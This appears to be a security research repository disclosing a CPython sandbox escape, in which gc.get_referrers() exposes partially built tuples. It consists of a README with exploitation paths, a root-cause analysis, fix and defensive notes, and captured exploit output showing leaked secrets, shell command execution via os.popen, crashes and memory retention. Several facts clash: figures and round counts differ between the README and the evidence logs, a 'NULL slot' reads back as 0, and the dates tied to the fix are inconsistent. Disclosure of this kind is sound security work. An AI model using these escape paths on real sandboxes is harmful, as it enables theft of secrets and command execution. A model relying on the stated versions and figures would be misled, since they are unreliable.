CPython PySequence_Tuple partial initialization sandbox escape PoC

cpython-tuple-gc-partial-init-poc/README.md

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+# CPython `PySequence_Tuple` GC-visible partial initialization sandbox escape PoC
+
+Status: fixed upstream. Validated on CPython `3.13.12` (GIL, system Python) and a local free-threading build at `3.16.0a0` HEAD with the vulnerable `PySequence_Tuple` implementation.
+
+Affected versions: CPython before commit `5a23994a3db` (GH-127058, 2024-12-11). Covers the `3.13.x` release series and all prior releases. The fix is present in `3.16.0a0` development builds from December 2024 onward and is backport-targeted for `3.13` and `3.14`.
+
+The demonstrated behavior is:
+
+> `PySequence_Tuple()` registers the result tuple with the cyclic garbage collector before any element slot is initialized. Restricted code that holds `gc` access can call `gc.get_referrers()` on a sentinel object and receive a direct reference to the partially-constructed tuple: including already-filled privileged slots, while the builder is still running. This breaks the isolation guarantee of every Python-level sandbox that allows `gc` introspection, allows file handles and callables to escape exec() restricted environments, causes interpreter crashes through normal iteration syntax, and enables controlled memory retention.
+
+Validated proof signals:
+
+```text
+Variant A data disclosure (GIL, generator re-entry)
+  PRIVILEGED DATA LEAKED: 'secret_key' = 'sk-DEADBEEF12345678'
+  PRIVILEGED DATA LEAKED: 'db_password' = 'hunter2'
+
+Variant B FT concurrent spy
+  Privileged tuples intercepted by sandbox: 4
+    (<object ...>, <PRIVILEGED:secret_0>, <NULL>, <NULL>, ...)
+
+Variant C exec() restricted globals bypass
+  PRIVILEGED_SECRET leaked at slot [1]: 'CONFIDENTIAL-TOKEN-XYZ'
+
+Variant D SIGSEGV via NULL-slot iteration
+  Return code : -11  (SIGSEGV)
+
+open() handle interception
+  Sandbox read file without open() in its builtins.
+  password = s3cr3t-db-passw0rd
+  secret_key = sk-prod-DEADBEEF12345678ABCD
+
+os.popen interception
+  Sandbox executed shell commands without os in its globals.
+  uid=1000(user) groups=...,27(sudo),135(docker),...
+
+Memory retention (GIL, 10 rounds × 5 000 iterations)
+  Total RSS growth : +356,504 KiB
+  Held partial refs: 44,767,092
+  Total errors     : 50,000
+
+FT stress test (32 builder + 8 GC + 4 spy threads, 5 s)
+  SystemError count   : 7641
+  Partial tuples seen : 15825
+```
+
+## What this is
+
+- A Python-level sandbox isolation break that does not require any C extension, ctypes, or native code from the attacker.
+- A demonstration that `gc.get_referrers()` returns partially-initialized tuples whose slots contain objects the restricted context was never given.
+- A confirmed path for restricted `exec()` code to obtain open file handles and callable objects (including `os.popen`) that are not present in its `restricted_globals`.
+- A reliable interpreter crash (SIGSEGV, signal 11) triggered by normal `for slot in escaped_tuple` iteration on the partial tuple.
+- A controlled memory retention primitive: the builder drops its reference via `SystemError`; the spy becomes the sole owner of the stranded allocation and can hold it indefinitely.
+- A race condition on free-threaded CPython (`Py_GIL_DISABLED`) that produces `SystemError` at >7 000 events per second under concurrent load.
+- Validated on Python `3.13.12` (GIL) and a `3.16.0a0` free-threading build with the pre-fix `PySequence_Tuple` restored.
+
+## What this is not
+
+- Not a kernel privilege escalation or OS-level file permission bypass. The `open()` handle interception requires the privileged Python code to already hold the open descriptor; the bug leaks it from there.
+- Not an arbitrary memory read or write at the C level under normal conditions. The NULL-slot dereference is a crash (SIGSEGV at address 0x0), not a controlled read.
+- Not a use-after-free through `_PyTuple_Resize` → `realloc` on a live reference. `gc.get_referrers()` performs stop-the-world before incrementing `ob_ref_shared`, so `_PyObject_IsUniquelyReferenced()` always returns False when a spy holds a reference. The resize path fails with `SystemError` before `realloc` is reached; the UAF path is blocked by design in the GC implementation.
+- Not exploitable in sandboxes that completely block `gc` module access.
+
+## Files
+
+| File | Description |
+| --- | --- |
+| `poc_escape_gil.py` | Variant A: privileged data leaked via generator re-entry (GIL). Variant D: SIGSEGV via NULL-slot iteration, run in subprocess. |
+| `poc_escape_exec.py` | Variant C: `exec()` sandbox with restricted `__builtins__` bypassed via `gc.get_referrers()`. |
+| `poc_escape_ft.py` | Variant B: free-threaded Python, concurrent spy thread intercepts partial tuple without generator cooperation. |
+| `poc_escape_open.py` | Intercept an open file handle (read privileged file without `open()` in builtins); intercept `os.popen` callable (execute shell command without `os` in globals). |
+| `poc_free_threaded.py` | Scenario 1: controlled barrier-synchronized race. Scenario 2: stress test - 32 builder + 8 GC + 4 spy threads. |
+| `poc_memory_leak.py` | GC retention/memory exhaustion: spy accumulates stranded tuples, RSS grows ~35 MB per round until explicit release. |
+| `sensitive_config.txt` | Simulated privileged config file used by `poc_escape_open.py`. |
+| `evidence/variant_a.txt` | Captured output for Variant A. |
+| `evidence/variant_b_ft.txt` | Captured output for Variant B (FT build). |
+| `evidence/variant_c_exec.txt` | Captured output for Variant C. |
+| `evidence/variant_d_sigsegv.txt` | Captured output for Variant D. |
+| `evidence/open_bypass.txt` | Captured output for `poc_escape_open.py`. |
+| `evidence/memory_leak.txt` | Captured output for `poc_memory_leak.py`. |
+| `evidence/ft_stress.txt` | Captured output for free-threaded stress test (Scenario 2). |
+
+## Tested Targets
+
+| Build | Version | GIL | Result |
+| --- | --- | --- | --- |
+| System CPython (Kali Linux) | `3.13.12` | on | all variants confirmed |
+| Local `cpython-ft` build, pre-fix `PySequence_Tuple` | `3.16.0a0` HEAD | off | Variant B + stress test confirmed |
+| Local `cpython` build, fixed (commit `5a23994a3db`) | `3.16.0a0` HEAD | off | clean ; no partial tuples observed |
+
+## Requirements
+
+- Python 3.x (any recent version before the fix).
+- Standard library only: `gc`, `threading`, `subprocess`, `os`, `sys`.
+- No C extensions, no ctypes, no native code.
+- For Variant B and the FT stress test: a free-threaded CPython build (`python3t` or a local build with `--disable-gil`).
+- For `poc_memory_leak.py`: Linux `/proc/self/status` for RSS measurement (optional; the retention demonstration works without it).
+
+## Reproduction
+
+Run GIL variants on any unpatched Python 3.13:
+
+```bash
+python3 poc_escape_gil.py
+python3 poc_escape_exec.py
+python3 poc_escape_open.py
+python3 poc_memory_leak.py
+```
+
+Run free-threaded variant on a `python3t` or local FT build:
+
+```bash
+python3t poc_escape_ft.py
+python3t poc_free_threaded.py
+```
+
+Expected GIL output (Variant A):
+
+```text
+[SANDBOX] Escaped tuple repr: (<object object at 0x...>, ('secret_key', 'sk-DEADBEEF12345678'), ('db_password', 'hunter2'), <NULL>, ...)
+[SANDBOX] Slot [1] leaked: ('secret_key', 'sk-DEADBEEF12345678')
+[BUILDER] SystemError (spy bumped refcount): ../Objects/tupleobject.c:911: bad argument to internal function
+*** SANDBOX ESCAPE CONFIRMED ***
+```
+
+Expected GIL output (Variant D crash proof):
+
+```text
+Return code : -11  (SIGSEGV)
+*** SANDBOX CRASH (DoS) CONFIRMED ***
+```
+
+Expected output (`poc_escape_open.py`, Variant A):
+
+```text
+Sandbox obtained filehandle for: '.../sensitive_config.txt'
+password = s3cr3t-db-passw0rd
+secret_key = sk-prod-DEADBEEF12345678ABCD
+*** OPEN() BYPASS CONFIRMED ***
+```
+
+Expected output (`poc_escape_open.py`, Variant B):
+
+```text
+uid=1000(user) gid=1000(user) groups=...
+*** OS.POPEN() BYPASS CONFIRMED ***
+```
+
+Expected FT stress test output:
+
+```text
+SystemError count   : 7641
+Partial tuples seen : 15825
+RACE CONDITION CONFIRMED
+```
+
+## Source-level Notes
+
+Relevant locations in CPython source:
+
+| File | Symbol | Behavior |
+| --- | --- | --- |
+| `Objects/abstract.c` | `PySequence_Tuple()` | Calls `PyTuple_New(n)` then `_PyObject_GC_TRACK()` immediately. All `ob_item` slots are NULL at this point. The tuple is visible to `gc.get_referrers()` from this moment until the loop fills every slot. |
+| `Objects/tupleobject.c:854` | `PyTuple_New()` | Allocates the tuple object; on return `ob_item[0..n-1]` are all `NULL`. |
+| `Objects/tupleobject.c:870` | `_PyObject_GC_TRACK()` (inside `PyTuple_New`) | Registers the object with the generational GC immediately after allocation. |
+| `Objects/tupleobject.c:1036` | `_PyTuple_Resize()` | Checks `_PyObject_IsUniquelyReferenced()` before calling `realloc`. If a spy holds a reference, sets `*pv = 0`, calls `Py_DECREF(v)`, and raises `SystemError`. |
+| `Modules/gcmodule.c` / `Modules/gc_free_threading.c:2390` | `_PyGC_GetReferrers()` | On free-threaded builds, calls `_PyEval_StopTheWorld()` before calling `Py_NewRef()` on each referrer. This ensures `ob_ref_shared` is incremented before any thread resumes, making `_PyObject_IsUniquelyReferenced()` return False for the tuple when a spy holds a reference. |
+| `Python/ceval.c` | `tuple_item()` (via `BINARY_SUBSCR`) | Returns `ob_item[i]` and calls `Py_NewRef()` on it. `Py_NewRef(NULL)` increments `NULL->ob_refcnt`, causing SIGSEGV. |
+
+## Root Cause
+
+`PySequence_Tuple()` in `Objects/abstract.c` (pre-GH-127058):
+
+```c
+PyObject *
+PySequence_Tuple(PyObject *v)
+{
+    ...
+    n = PyObject_LengthHint(v, 10);
+    result = PyTuple_New(n);        /* allocates; GC_TRACK called inside */
+    if (result == NULL) goto Fail;
+
+    for (j = 0; ; ++j) {           /* ← tuple is GC-visible here with NULL slots */
+        PyObject *item = PyIter_Next(it);
+        ...
+        if (j >= n) {
+            if (_PyTuple_Resize(&result, n) != 0) { ... goto Fail; }
+        }
+        PyTuple_SET_ITEM(result, j, item);   /* fills one slot at a time */
+    }
+    ...
+}
+```
+
+`PyTuple_New()` calls `_PyObject_GC_TRACK()` at line 870 in `tupleobject.c`. From that point until `PyTuple_SET_ITEM` has run for every index, the tuple exists in the GC graph with uninitialized (`NULL`) `ob_item` entries.
+
+Any call to `gc.get_referrers(obj)` where `obj` is already in slot 0 will return the tuple. The caller receives a reference to a live `tuple` object with some `NULL` slots. Indexing into an unfilled slot calls `Py_NewRef(NULL)`, which performs `NULL->ob_refcnt++` and segfaults.
+
+On free-threaded builds the same window exists without a GIL to limit concurrency. The stop-the-world mechanism in `gc.get_referrers()` prevents the `_PyTuple_Resize` → `realloc` use-after-free path, but it does not prevent the spy from obtaining the partial tuple reference; it guarantees only that `ob_ref_shared` is incremented before the builder resumes.
+
+## Exploitation Paths
+
+### Sandbox data disclosure
+
+Any sandbox that:
+
+- runs privileged and restricted code in the same interpreter;
+- allows `gc` access to restricted code (common `gc` is considered a "safe" inspection tool);
+- constructs tuples from generators in the privileged context;
+
+is directly affected. The restricted code calls `gc.get_referrers(sentinel)` and reads filled slots from the partial tuple.
+
+### File handle and callable leak
+
+If the privileged generator yields an open file handle or a sensitive callable (ex `os.popen`, a database connection `execute` method, an authenticated HTTP session) before the sandbox re-entry point, the restricted code can extract that object and use it directly bypassing any restriction that keeps `open`, `os`, or `subprocess` out of `__builtins__`.
+
+### SIGSEGV/DoS
+
+Restricted code that calls `for slot in escaped_tuple`, entirely normal Python - dereferences a NULL `ob_item` slot and crashes the interpreter process. No special permission or knowledge of internals is required.
+
+### Memory retention
+
+The builder raises `SystemError` and drops its reference via `Py_DECREF`. If the spy holds the only remaining reference, the tuple is not freed until the spy releases it. An adversary can accumulate stranded tuples and their payloads indefinitely. Measured growth: ~35 MB per 5 000 iterations on CPython 3.13.12.
+
+## Fix
+
+Commit `5a23994a3db` (GH-127058, 2024-12-11, Mark Shannon):
+
+The new `PySequence_Tuple()` collects items into a `PyListObject` first, then calls `PyList_AsTuple()`. `PyList_AsTuple()` allocates the tuple, fills all slots from the list in one pass, and only then calls `_PyObject_GC_TRACK()`. The tuple is never visible to the GC while it contains NULL slots.
+
+Verify a build is fixed:
+
+```python
+import gc, sys
+
+SENTINEL = object()
+found = []
+
+def g():
+    yield SENTINEL
+    for ref in gc.get_referrers(SENTINEL):
+        if type(ref) is tuple and ref[0] is SENTINEL:
+            found.append(ref)
+    for i in range(20):
+        yield i
+
+tuple(g())
+print("partial tuples seen:", len(found))   # 0 on fixed build, ≥1 on vulnerable
+```
+
+## Defensive Notes
+
+- **Upgrade**: apply the GH-127058 fix. Any CPython build from December 2024 onward that includes commit `5a23994a3db` is not affected.
+- **Deny `gc` in sandboxes**: if upgrading is not immediately possible, remove `gc` from the restricted environment. This blocks the `gc.get_referrers()` introspection vector. Note that a sufficiently motivated attacker with other introspection tools may find alternative referrer-enumeration paths.
+- **Do not pass open handles or sensitive callables through generator-based tuple construction** in code paths where restricted code can interleave.
+- **Do not rely on Python-level `__builtins__` restriction alone** as a security boundary when the underlying interpreter has this bug; the sandbox can be bypassed with standard library tools.
+
+## References
+
+- Fix commit: https://github.com/python/cpython/commit/5a23994a3db
+- GitHub issue1: https://github.com/python/cpython/issues/101855
+- GitHub issue2: https://github.com/python/cpython/issues/127058
+- CPython source `Objects/abstract.c`: https://github.com/python/cpython/blob/main/Objects/abstract.c
+- CPython source `Objects/tupleobject.c`: https://github.com/python/cpython/blob/main/Objects/tupleobject.c
+- CWE-457: Use of Uninitialized Variable
+- CWE-476: NULL Pointer Dereference
+- CWE-362: Race Condition
+
+## Responsible Use
+
+Run only against local research targets, owned systems

cpython-tuple-gc-partial-init-poc/evidence/ft_stress.txt

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+Python: 3.16.0a0 free-threading build (heads/main-dirty:c6982439ee0, Jul  1 2026, 11:06:37) [GCC 15.2.0]
+GIL enabled: False
+
+============================================================
+Scenario 1: controlled NULL-slot access from spy thread
+============================================================
+builder exception : /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
+spy partial tuples: 1
+partial repr      : (<object object at 0x333945700e0>, 0, 1, 2, 3, 4, 5, 6, 7, 8)
+accessing t[1] from spy thread (NULL slot)...
+t[1] = 0  (no crash)
+
+============================================================
+Scenario 2: concurrent stress (32 builders + 8 GC threads)
+============================================================
+SystemError count   : 15659
+  SystemError: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
+  SystemError: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
+  SystemError: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
+Wrong-length tuples : 0
+Partial tuples seen : 27585
+  (<object object at 0x33394570100>, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
+  (<object object at 0x33394570100>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <
+  (<object object at 0x33394570100>, 0, 1, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>)
+
+RACE CONDITION CONFIRMED
+
+============================================================
+Binary used: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython-ft/python
+GIL: False
+
+Expected results on VULNERABLE build (patched cpython-ft/python):
+  Scenario 1 - spy sees partial tuple with NULL ob_item slots,
+               builder raises SystemError on _PyTuple_Resize,
+               spy thread holds only surviving ref to partial tuple
+  Scenario 2 - SystemError count > 0, partial tuples observed
+
+Expected results on FIXED build (cpython/python, GH-127058):
+  Scenario 1 - spy finds no partial tuple, builder succeeds
+  Scenario 2 - no errors

cpython-tuple-gc-partial-init-poc/evidence/memory_leak.txt

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+Python : 3.13.12 (main, Feb  4 2026, 15:06:39) [GCC 15.2.0]
+GIL    : True
+Binary : /usr/bin/python3
+Hold   : True  (spy accumulates partial tuples)
+
+Round    RSS KiB   ΔLeak KiB   Held refs    Errors
+-------------------------------------------------------
+    1     45,168     +34,608   4,296,402     5,000
+    2     80,924     +35,756   8,793,012    10,000
+    3    116,688     +35,764  13,289,622    15,000
+    4    152,444     +35,756  17,786,232    20,000
+    5    188,208     +35,764  22,282,842    25,000

cpython-tuple-gc-partial-init-poc/evidence/memory_leak_ft.txt

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+Python : 3.16.0a0 free-threading build (heads/main-dirty:c6982439ee0, Jul  1 2026, 11:06:37) [GCC 15.2.0]
+GIL    : False
+Binary : /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython-ft/python
+Hold   : True  (spy accumulates partial tuples)
+
+Round    RSS KiB   ΔLeak KiB   Held refs    Errors
+-------------------------------------------------------
+    1     25,508     +11,576     413,361        80
+    2     19,664      -5,844     533,922       125
+    3     28,860      +9,196     688,732       157
+    4     25,480      -3,380   1,265,833       178
+    5     28,276      +2,796   1,552,003       181
+    6     43,168     +14,892   1,811,294       192
+    7     31,776     -11,392   2,075,408       243
+    8     31,784          +8   2,087,967       287
+    9     31,792          +8   2,094,065       327
+   10     50,648     +18,856   2,149,499       350
+
+Total RSS growth : +36,632 KiB
+Held partial refs: 2,167,909
+Total errors     : 350
+
+Dropping all held references…
+RSS after drop   : 50,688 KiB  (Δ +0 KiB)
+
+MEMORY LEAK (forced retention) CONFIRMED
+Adversary can call held_refs.clear() to free or hold indefinitely (OOM).